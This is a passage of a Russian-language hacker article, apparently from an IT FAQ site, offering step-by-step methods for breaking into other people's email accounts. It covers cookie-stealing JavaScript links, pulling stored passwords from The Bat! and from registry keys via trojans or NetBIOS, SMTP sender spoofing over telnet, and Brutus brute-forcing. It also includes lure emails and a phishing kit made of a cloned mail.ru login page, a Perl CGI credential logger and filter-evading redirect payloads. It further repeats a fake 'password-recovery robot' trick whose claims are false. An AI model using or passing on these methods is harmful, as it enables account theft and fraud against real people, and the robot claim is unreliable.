шелла или многопоточным флудером, то писем может быть несколько тысяч. Тогда предпочтительней способ 2.2. Если же у человека есть список из нескольких сот работающих прокси-серверов, несколько шеллов, серверов с sendmail и формами для отправки сообщений, мощная выделенка и большой список с разными сообщениями, темами, обратными адресами и т.д., то так просто ты не отделаешься. Мыло тебе вряд ли удастся сохранить. Можно конечно стукнуть в CyberPolice, но.... Не красиво это. Хотя, можно всем кто пишет сказать, чтобы вставляли в первую строчку какую-то определенную фразу и удалять все сообщения без этой фразы.

В самом начале хотелось бы рассмотреть теорию атак на mailbox-ы в общем. Как известно, взлом может осуществлятся атакой на пароли пользователя на pop3/smtp сессию или же взлом непосредственно web-мейла. Что же касается последнего, то здесь могут существовать два подхода:

1. Использование JavaScript.

Web-мейл позволяет отображать html в письмах и аттачах. Почти везде, как правило, тэг фильтруется, что не позволяет выполнить JS. Поэтому необходимо найти место, где бы существовала возможность выполнения скрипта,т.е. это должно выглядеть приблизительно так < A href="javascript:...придумать дальше можно все, что угодно. Таким образом получаем document.innerHtml и document.cookies, откуда извлекаем login credentials и отправляем своему скрипту на обработку или же меняем на то, что надо нам.

2. Bug на почтовом сервере.

Найти дыру в системе авторизации доступа к определённым страницам. Следует хорошо изучить кукисы(cookies) и хиддены(hidden), они могут очень помочь. Для примера: для авторизации используется определённый SessionID, который необходимо подобрать.

На тот случай, если юзер использует pop3/smtp(почтовый клиент) - выбор остается не слишком большим и вероятность успеха очень снижается. В таком случае нужно заниматься либо самим сервером, либо же почтовым клиентом пользователя, поэтому конкретных советов тут быть не может.

Для примера далее, как и обещалось в начале статьи, будет описан один из способов получения пароля на почтовый ящик, в том случае, если имеется доступ к почтовому клиенту.

Доступ к самому мейлеру the bat! или же все его необходимые файлы можно получить несколькими путями:

Временный физический доступ к компъютеру - самим можно быстро загнать файлы на дискету или даже написать и использовать свою программу для этого(между прочим в каком-то смысле даже очень удобно).

Трояны. Особенно эффективны трояны собственного производства(я мало доверяю чужим программам, даже несмотря на то, что часто приходится изменять своим принципам). Но только при условии того, что они, конечно, хорошо написаны и без погрешностей в коде. А ведь часто возникает такая ситуация, что трояны достаточно быстро обнаруживаются антивирусом только лишь потому, что стали широко известны или просто-напросто плохо написаны и системный антивирусный монитор улавливает какую-то часть кода и действия программы, схожие с уже занесёнными в его постоянно обновляемую базу данных. Да, кстати, существует весьма странный способ - некоторые доблестные фанатики пишут свои трояны, которые в итоге, используя 139 порт, заливают юзерам и быстренько суют их либо в автозагрузку, что случается довольно редко, либо прописывают в system.ini(иногда даже ручками, если ещё не всё настолько автоматизировано). А так как трояны совсем свежие, их и антивирус не видит.

Использование 139 порта(netbios), что подразумевает получение remote доступа ко всему винчестеру пользователя, в том числе и к необходимым файлам(в какой-то степени оригинальный, но не интересный, имхо, способ; некоторые личности, сканирующие подсеть различных isp, частенько вместе с pwl-файлами вытаскивают не только пароли к the bat!, а также и к icq, если таковые установлены на машине). Мной была написана подобная программа NBTScan - чтобы лишний раз не искать и не забивать весь траффик.

Итак, допустим, что, использовав один из вышеперечисленных способов, у нас в распоряжении находятся необходимые файлы. Уточнение: в данном случае нас интересует только файл account.cfg, расположенный чаще всего в program files в папке the bat!/mail/<имя ящика>/...; если интересует также и приходящая почта, нужно достать и папочку inbox с базой данных по принятым письмам(для исходящей почты потребуется соответственно outbox) - но не следует забывать, что чужие письма читать нехорошо!

Account.cfg - конфигурационный файл the bat-а, в котором хранится информация о пользователе, пароль на локальный ящик(если этот пароль установлен) и в том числе логин с паролем на аккаунт на самом сервере(на pop3/smtp сессию...кстати, в последнее время большинство серверных служб стали использовать авторизацию и на smtp-сессию; советую проверить эти настройки чужого ящика).

Способ извлечения нужных паролей довольно прост. Создателей программного продукта вероятно мало заботила безопасность своего детища, потому как даже шифрование паролей основано на использовании пресловутого и избитого временем xor-а. Итак, в установленном у нас на машине bat-е создаем директорию the bat!/mail/<любое_имя_папки>. Вторым шагом будет копирование в только что созданную папку файла account.cfg. Теперь запускаем мейлер и в строке меню Account выбираем пункт New. Вводим теперь название той папки, которую недавно создали и щелкнув три раза на Enter, пропускаем все настройки аккаунта, где будет также указано тот e-mail, пароль на доступ к которому пытаемся получить. Таким образом доходим до завершающего этапа, а точнее до окошка с полями username и password...и вуаля - это и есть логин и пароль на e-mail пользователя. Все, что надо теперь сделать - это достать/взять/скачать небольшую программу openpass или что-нибудь в этом духе, открывающую звездочки, и пассворд получен. Баг работает на всех версиях The Bat! в среде Win95/98/NT, но не стоит забывать что тот же openpass работать под NT/2k не будет. Btw, пару часиков медитации над конфигурационными файлами the bat-a и...можно получить пароль на локальный ящик(навскидку: такой пароль в большинстве случаев совпадает с паролем на pop3 сессию). Но нужен ли он нам? Если да - одно дело, в другом случае проще ручками слегка подправить конфиг, убрав пароль. Но IMXO более подробный анализ файла account.cfg - дело уже отдельной статьи.Написание письма от чужого мыла Чтобы послать на мыло письмо, где в строке "От" стоял желаемый нами адрес надо сделать следующие: с помощью  telnet.exe  зателнетиться к SMTP-серверу на 25 порт. Чтобы зателнетиться надо ввести в командной строке следующие (сейчас и далее звездочкой (*) будет обозначаться SMTP-сервер, которые вы решили использовать для отправки письма от чужого адреса):

telnet.exe smtp.*.ru

В ответ этому коннекту вы должны получить, что то похожее на:

220 smtp.*.ru ESMTP Sendmail 8.9.3/8.9.3; Tue, 6 Aug 2003 17:38:54 +0400 (MSD)

Код 220> означает коннект к серверу прошел успешно. Теперь давайте возьмем за цель послать на адрес lamerok@rambler.ru письмо якобы от support@rambler.ru . Далее даем команду:

helo mail.ru

Вот на этом шаге и выясниться поддерживает используемый вами SMTP-сервер посылылку письма, когда мы зателнетимся к нему! Если он не разрешает, то выдаст код 500> со следующим содержимым:

500 Command unrecognized: {{}helo mail.ru"

В принципе это произошло и в моем случае, но хочу вам сказать, что многие SMTP-серверы настроены так, что могут вас и обмануть. Мне повезло, так как в данном случае сервер меня обманул и после повторного ввода команды helo mail.ru сервер мне радостно ответил:

250 smtp.*.ru Hello ppp5-232.dial-up.cnt.ru [213.85.117.232], pleased to meet you

Код 250 >означает, что команда была верной и сервер ее воспринял. На будущее хочу сказать, что сервер может обманывать вас и более сильно (например, постоянно выдавая код 500, хотя команду он воспринял как верную). Далее пишем:

mail from: support@rambler.ru

Выше введенная команда задает от кого якобы посылается письмо. Далее вводим:

rcpt to: lamerok@rambler.ru

Этой командой мы задали адрес почтового ящика на который будет послано письмо. Потом мы даем команду data и можем смело вводить текст письма, а после того как вы закончите его вводить нажмите на Enter, нажмите точку и опять Enter. В ответ на это вы получите:

250 RAA07552 Message accepted for delivery

Это будет сигнализировать об успешной отправке письма.

Про мыло

Про внедрение на машину юзера под управлением OS Windows написано очень много. Сразу оговорюсь зачем туда проникать. Дело в том, что корпоративная почта и ее сервер принадлежат в основном только одной компании, АО, предприятию, фирме (нужное подчеркнуть), и поэтому не имеет смысла писать вебовский интерфейс доступа к оной. А посему юзеры пользуются различными почтовыми программами типа Outlook Express, Netscape Mail, The Bat! (редкий случай, т.к. техническому персоналу обычно влом ставить эту прогу, а сам юзер про нее мог даже и не слышать) и др. Вот. Предположим, что мы уже проникли в компьютер юзера. Я опишу только что делать, если у пользователя установлен Outlook Express или Netscape Mail, дабы сэкономить свое и Ваше время, к тому же данные программы является наиболее распространенными среди коммерческих и государственных организаций. Информация о пароле к почте для Outlook Express находится в реестре, в ключах:

HKLM/Software/Microsoft/Protected Storage /System /Provider/*Default* Data89c39569-6841-11d2-9f59-0000f8085266 или в: HKLMSoftwareMicrosoftProtected Storage System Provider<UserName> Data89c39569-6841-11d2-9f59-0000f8085266 Если на компьютере включены профили пользователей, то смотреть надо в: HKCU/Software/Microsoft/Protected Storage /System /Provider/<UserName> Data89c39569-6841-11d2-9f59-0000f8085266 Для Netscape Mail в ключе: [HKCU/Software/Netscape/Netscape Navigator/iffusers<юзер> servers<сервер>] "password"="зашифрованный_пароль"

Наша задача стырить эти данные и расшифровать их. Алгоритм шифрования несложный, стандартный для Windows XOR. Расшифровав полученную информацию, смело телнетимся на сервер по 110-му порту (если он открыт наружу) и забираем почту. Можно также настроить свою почтовую программу (при тех же условиях) и пользоваться ею, но это уже непринципиально. На сем обзор второй категории и закончим.

Переходим к наиболее интересному (с моей точки зрения) - взлому бесплатной вебовской почты. Опять же существует несколько способов хака: подбор пароля; социальная инженерия; метод редиректа. Первый очень простой и наиболее распространен. Алгоритм действий такой:

1. Запускаем Brutus 2. Конфигурируем параметры (сервер, имя ящика, прокси и т.п.) 3. Выбираем файл-словарь (если есть) 4. Устанавливаем метод простого подбора (если нет словаря) 5. Жмем СТАРТ 6. Ждем... 7. Ждем... 8. Ждем... 9. Получаем (или не получаем) результат.

Этот метод не очень хорош. Он медленный, примитивный, не гарантирующий результат, страдает высоким трафиком. Как Вы, наверное, уже поняли я его не люблю. Второй метод (социальная инженерия) рассчитан на глупость, жадность, доверчивость и любопытство пользователя. Основная задача обмануть жертву и заставить ее отдать пароль без боя. (Или с боем - вспомним про ломик). Как это работает. Пишем письмо жертве примерно такого содержания:

Здравствуйте! Поздравляю, Вы выиграли! Вы признаетесь самым любопытным пользователем интернета. Вы выиграли модем USR Courier 56K. Ваш выигрыш мы с радостью доставим Вам домой. Отправьте нам свои данные по этому адресу obmanuli@duraka.ru.

Или такого: FREE!!! Заполните форму, введите ваш домашний адрес, ФИО, а также логин/пароль для авторизации на нашем сервере. Вы получите абсолютно бесплатно майку, куртку, шапку, сапоги и электрогубозакоталку.

Я уверен вы придумаете что-то и получше. В первом случае жертва (если поведется) отправит Вам свои данные, которые можно зарядить в форму восстановления забытого пароля и, так сказать, восстановить "забытый пароль". Во втором письме может прийти еще и логиппароль. Психологически человек не способен запомнить большое кол-во паролей, поэтому в 60% случаев пароль совпадет с тем, который мы и пытаемся раздобыть. В этом и заключаются основы метода социальной инженерии.

Переходим к последнему методу, методу редиректа. Я назвал этот метод именно так, потому что при открытии письма происходит автоматическая пересылка жертвы на левый сайт. Итак, подробнее. Для начала нам надо застолбить место где-нибудь на бесплатном сервере с поддержкой CGI скриптов. Главное, чтобы не было требований размещения рекламных банеров (почему, объясню позднее). Теперь займемся подготовкой поля боевых действий. Определившись с жертвой, мы знаем на каком сервере расположен ее почтовый ящик. Объясню на примере. Предположим, нам надо добыть пароль к ящику lamer@mail.ru Идем по этому адресу http://win.mail.ru/cgi-bin/auth и копируем исходный текст того, что откроется. Наша цель написать страницу наиболее похожую на настоящую.

Получилось? Надеюсь, что да. Помните я говорил о том, что сервер бесплатного хостинга не должен требовать размещения рекламного баннера? С двумя баннерами наша утка не будет похожа на ихнего гуся. Теперь надо эту страничку немного переделать. Как Вы уже поняли, пользователь при открытии письма перенаправляется на нашу новоиспеченную липу. Увидев приведенную выше форму, жертва думает примерно так: "Опять этот ... сервер, мать ..., сломался!!!" и без лишних подозрений вводит свой логинпароль. "Попался, гад" подумаем мы. Но его данные надо еще суметь сохранить. Для этого напишем следующий скрипт: # Часть no. 1 # Этот кусок вытаскивает все переменные из того, что было # послано формой в массив, и расщепляет наши две переменные # в $name и $pass, эту часть можно не изменять вообще &GetFormInput; $name=$field{'name'}; $pass=$field{'pass'}; sub GetFormInput { (*fval) = @_ if @_ ; local ($buf); if ($ENV{'REQUEST_METHOD'} eq 'POST') { read(STDIN,$buf,$ENV{'CONTENT_LENGTH'}); } else { $buf=$ENV{'QUERY_STRING'}; } if ($buf eq "") { return 0 ; } else { @fval=split(/&/,$buf); foreach $i (0 .. $#fval){ ($name,$val)=split (/=/,$fval[$i],2); $val=~tr/+/ /; $val=~ s/%(..)/pack("c",hex($1))/ge; $name=~tr/+/ /; $name=~ s/%(..)/pack("c",hex($1))/ge; if (!defined($field{$name})) { $field{$name}=$val; } else { $field{$name} .= ",$val"; } } } return 1; } # Конец Части no. 1

# Часть no. 2 # Теперь спасаем переменные в текст файл pass.txt # Сначала откроем его, ИСПОЛЬЗУЕМ метод APPEND(>>) # Если он не существует, то он будет автоматически создан open (OUTFILE, ">>pass.txt"); # Запишем переменные в файл print OUTFILE "$name"; print OUTFILE " $pass"; # И несколько "украшений" для удобства дальнейшего чтения print OUTFILE " =======END======= "; # Может закроем теперь файл? Close (OUTFILE); # Конец Части no. 2

# Часть no. 3 # Теперь, после записи данных в файл, можно послать юзера куда # подальше, что мы и делаем print "Location: http://your_redirect_URL " ; # Конец Части no. 3

Теперь немного переделаем форму: вставим в ее определение <form action="наш_скрипт.cgi" method="post"> Вот собственно и все. Проверяем как работает. Если все хорошо, то после нажатия на "Вход >>>" мы должны получить файлик pass.txt с паролем. Получили? Замечательно! Осталась самая малость - перенаправить жертву в нашу паутину. В нашем письме жертве нужно написать редирект. Существует два метода редиректа: Редирект с помощью META HTTP-EQUIV Редирект с помощью Ява скрипта Редирект с помощью META HTTP-EQUIV выглядит так: <META HTTP-EQUIV=Refresh CONTENT="0; URL= http://URL_Куда_послать">

Все это дело вставляется между <head> и </head>, где в значении CONTENT указывается время, после которого должен произойти редирект, и URL значение редиректа.

Редирект с помощью Ява скрипта выглядит так: <script language="JavaScript"> window.location=http://URL_Куда_послать </script>

Все это просто и замечательно, но есть серьезная проблема. На халявных мыльницах (почтовых серверах) есть фильтр входящей почты, который нагло срубит все наши старания. Ну что ж, постараемся его обмануть. Можно вот что сделать: скрипт редиректа можно вставлять в тег <a href="Some_JavaScript">Линк</a> вставлять в тег <img src="Some_JavaScript"> и даже вставлять в стили: <style TYPE="text/css"> @import url(Some_JavaScript); </style>

Все эти стили до сих пор работают на многих мыльницах. "А если не работают?", спросите Вы. Печально. Придется искать другие пути, но не будем о грустном. Допустим все сработало. Ладно, посмотрим что мы имеем. Письмо прошло, жертва его открыла, отправилась на ..., в общем, попалась, оставила свои данные и вернулась обратно. Ура получилось!!! Но ликовать еще рано. Зайдем-ка еще разок на нашу страничку. Что мы видим в строке адреса? mypage.freehost.ru/antilamer.html Некрасиво, правда? Любое ламо догадается, что попал не на свой любимый mail.ru Давайте спрячем наш реальный адрес. Известно, что все, что стоит между http:// и @, не принимается во внимание браузером. Отлично, этим и воспользуемся. Теперь наш адрес редиректа будет таким: win.mail.ru/cgi-bin/auth@mypage.freehost.ru/antilamer.html Но и это еще не все. Реальный адрес еще виден. Ладно, и это исправим. Сам путь тоже можно закодировать, используя ASCII таблицу, то есть, например, вместо w можно поставить %77 и т.д...

Как узнать чужой пароль на Mail.ru а так же получить информацию связаных с этим адресом Акаунтов таких как Одноклассники ,знакомства и.т.д.

Всё очень просто. Как нам всем известно на сервере Mail.ru и стороннем Gmail.com есть функция Забыл пароль,восстановить. Так вот По адресу cl.ok.pass.mail.informer@gmail.com сидит mail-робот, который анализирует запросы на восстановление пароля и в зависимости от этого либо уточняет ваши данные, либо сразу шлет пароль. На сайте есть форма для заполнения с всевозможными параметрами, которая потом шлется роботу со специальным Subject'ом. Фишка в том, что если в сабжект впихнуть не один, а два запроса, то проверятся будет последний ящик, а данные будут высланы о первом! Так шевелим мозгами... Правильно! Высылаем два запроса в одном сообщении: в одном запросе сообщаем инфу о ящике жертве, во втором инфу о своем (о своем то мы все знаем).

Итак, мы хотим узнать пароль от ящика vasya_pupkin@mail.ru Наш ящик hacker@rambler.ru пароль 123456

Пишем самое обыкновенное письмо со своего ящика , роботу на cl.ok.pass.mail.informer@gmail.com

Внимания весь запрос пишется в Теме письма само письмо оставляем пустым это очень важно иначе запрос не будет обработан.

Пример

Subject: login=vasya_pupkin pass=? answer= ;login=hacker pass=123456 answer=

Т.е. первой строкой вставляем в тему письма запрос о ящике-жертвы: login=vasya_pupkin pass=? answer= А потом, через точку с запятой второй запрос, с вашими данными, которые робот проверит и убедится, что они правильные! ;login=hacker pass=123456 answer=

Итого: тема сообщения выглядит вот так : login=vasya_pupkin pass=? answer= ;login=hacker pass=123456 answer= Все, ждите пасс на ваше мыло!!! (Answer = ответ на секретный вопрос, но прокатывает и без него, запросы разделяются точкой с запятой.

И вот еще что, запросы с данными вашего ящика.(который будет проверяться) если он создан менее одного месяца не обрабатываются. Скорее всего это связано с статистическим обнавлением системы.

Ответ. обычно приходит от двух часов до трех дней.

Cистема безопасности Gmail не защищает людей от глупости.

Восстановление забытого пароля всегда было слабейшим звеном в защите почтовых аккаунтов. Абсолютное большинство проникновений осуществляется через эту функцию — обычно, путём ответа на «секретный» вопрос, который на самом деле не является секретным. В этом смысле компания Google сделала значительный шаг вперёд, когда внедрила для всех почтовых ящиков Gmail бесплатную функцию двухфакторной аутентификации. Теперь при восстановлении забытого пароля пользователь должен ввести дополнительно и код, который приходит ему на телефон в виде SMS. Так что мошенник из какой-нибудь Нигерии не сможет просто так поменять пароль к ящику, для этого ему нужно получить доступ и к телефону.

Но к каждому замку найдётся ключик. В американских СМИ появилось описание нескольких реальных способов, как мошенники умудряются узнать код, приходящий на телефон. Они используют методы социальной инженерии или, попросту говоря, глупость пользователей.

В первом случае используется массовая рассылка SMS на все номера мобильных телефонов подряд с сообщением о выигрыше в лотерею. Для получения приза нужно зайти по определённому URL и ввести свой адрес электронной почты, после чего вам на телефон придёт код подтверждения — и его тоже нужно ввести на сайте, чтобы получить приз. Как можно догадаться, пользователю на телефон высылается код подтверждения для смены почтового пароля Gmail, который он сам сообщает мошенникам и в ту же секунду лишается доступа к своему почтовому ящику (его адрес он ввёл на предыдущем этапе).

Во втором случае мошенник под видом очень красивой девушки втирался в доверие к пользователям Facebook. Фальшивая «девушка» строила из себя глупышку и говорила, что забыла свой пароль к Gmail, а телефона у неё сейчас нет, поэтому она отправила код к своему ящику на телефон парня. На логичный вопрос «Почему именно мне?» девушка отвечала, что он просто был первый в списке её чат-контактов Facebook, и к тому же он клёвый. В общем, задурманенный внешностью девушки парень сообщал ей пришедший код и тоже сразу лишался доступа к своему почтовому ящику, ведь это был код смены пароля от его собственного аккаунта.

seo & website usability inet html os faq hardware faq memory video cpu hdd mainboard faq printer & scaner modem mobiles

Windows 10 | Registry Windows 10 | Windows7: Общие настройки | Windows7: Реестр | Windows7: Реестр faq | Windows7: Настроки сети | Windows7: Безопасность | Windows7: Брандмауэр | Windows7: Режим совместимости | Windows7: Пароль администратора |  |  |  |  | Память | SDRAM | DDR2 | DDR3 | Quad Band Memory (QBM) | SRAM | FeRAM | Словарь терминов | Video | nVIDIA faq | ATI faq  | Интегрированное видео faq | TV tuners faq | Терминология | Форматы графических файлов | Работа с цифровым видео(faq) | Кодеки faq | DVD faq | DigitalVideo faq | Video faq (Архив) | CPU | HDD & Flash faq | Как уберечь винчестер | HDD faq | Cable faq | SCSI адаптеры & faq | SSD | Mainboard faq | Printer & Scaner | Горячая линия бесплатной юридической консультации | Благотворительность

На главную | Cookie policy | Sitemap

 ©  2004